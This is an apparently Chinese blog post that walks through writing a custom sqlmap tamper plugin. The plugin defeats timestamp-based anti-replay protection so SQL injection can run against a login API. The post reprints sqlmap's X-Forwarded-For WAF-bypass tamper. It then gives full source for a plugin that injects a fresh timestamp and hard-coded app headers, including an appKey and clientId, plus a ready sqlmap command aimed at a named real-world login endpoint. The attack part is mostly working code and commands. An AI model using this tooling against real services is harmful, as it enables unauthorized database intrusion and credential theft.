自定义Sqlmap Tamper插件绕过时间戳限制,对目标进行SQL注入

文章作者:pt007@vip.sina.com
1、前置知识:
大家在渗透测试的时候经常会遇到时间戳(timestamp),时间戳用于防范burpsuite的抓包重放攻击,难倒了不少工具黑客,但是遇到代码级的黑客会如何解决这个问题呢?
一言不合上代码,先给出生成时间戳的python代码:

#!/user/bin/env python
#coding=utf8
#auther:pt007@vip.sina.com
import time
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
print timestamp

通过google后,我们知道Sqlmap Tamper插件目录下(D:\sqlmap2016\tamper)有个xforwardedfor.py插件,下面我们给出代码:

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomIP():
    numbers = []
    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)
    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' to bypass
    WAF (usually application based) protection
    """

    headers = kwargs.get("headers", {}) #以字典方式取出header包头数据
    headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置
    return payload

2、自定义Sqlmap Tamper插件绕过时间戳限制:
文件名:replacehead.py
放到:D:\sqlmap2016\tamper
使用方法:

cd d:\sqlmap2016
python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080

 

运行时截图:

 

 文件名:replacehead.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file "doc/COPYING" for copying permission
"""
import hashlib
import json
import ssl
import sys
import time,urllib,string
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Append a HTTP header "X-originating-IP" to bypass
    WAF Protection of Varnish Firewall

    Notes:
        Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366

        Examples:
        >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
        >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
        >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
        >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
        >> X-remote-IP: * or %00 or %0A
    """

    reqBind = "/openapi/v2/user/login"

    headers = kwargs.get("headers", {})

    #data= kwargs.get("body",{})
    headers["Connection"]="keep-alive"
    headers["appId"]="MB-MJ-0000"
    headers["appVersion"]="01.00.00.00000"
    headers["clientId"]="8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
    headers["sequenceId"]="20161020153428000015"
    headers["accessToken"]=""
    headers["language"]="zh-cn"
    headers["timezone"]="+8"
    headers["appKey"]="1fff7639ddc580d9cdfb16bde1d67249"

    #data="{\"loginId\":\"13121838134\",\"password\":\"12345\"}"
    data="{\"loginId\":\""+payload+"\",\"password\":\"12345\"}"
    #data=(str)(data)
    print data
    t = time.time()
    timestamp=int(round(t * 1000))
    timestamp=str(timestamp)
    #timestamp="1521193501374"
    headers["timestamp"]=str(timestamp)
    print headers

    return payload

 

posted @ 2019-11-14 14:38  pt007  阅读(853)  评论(0编辑  收藏  举报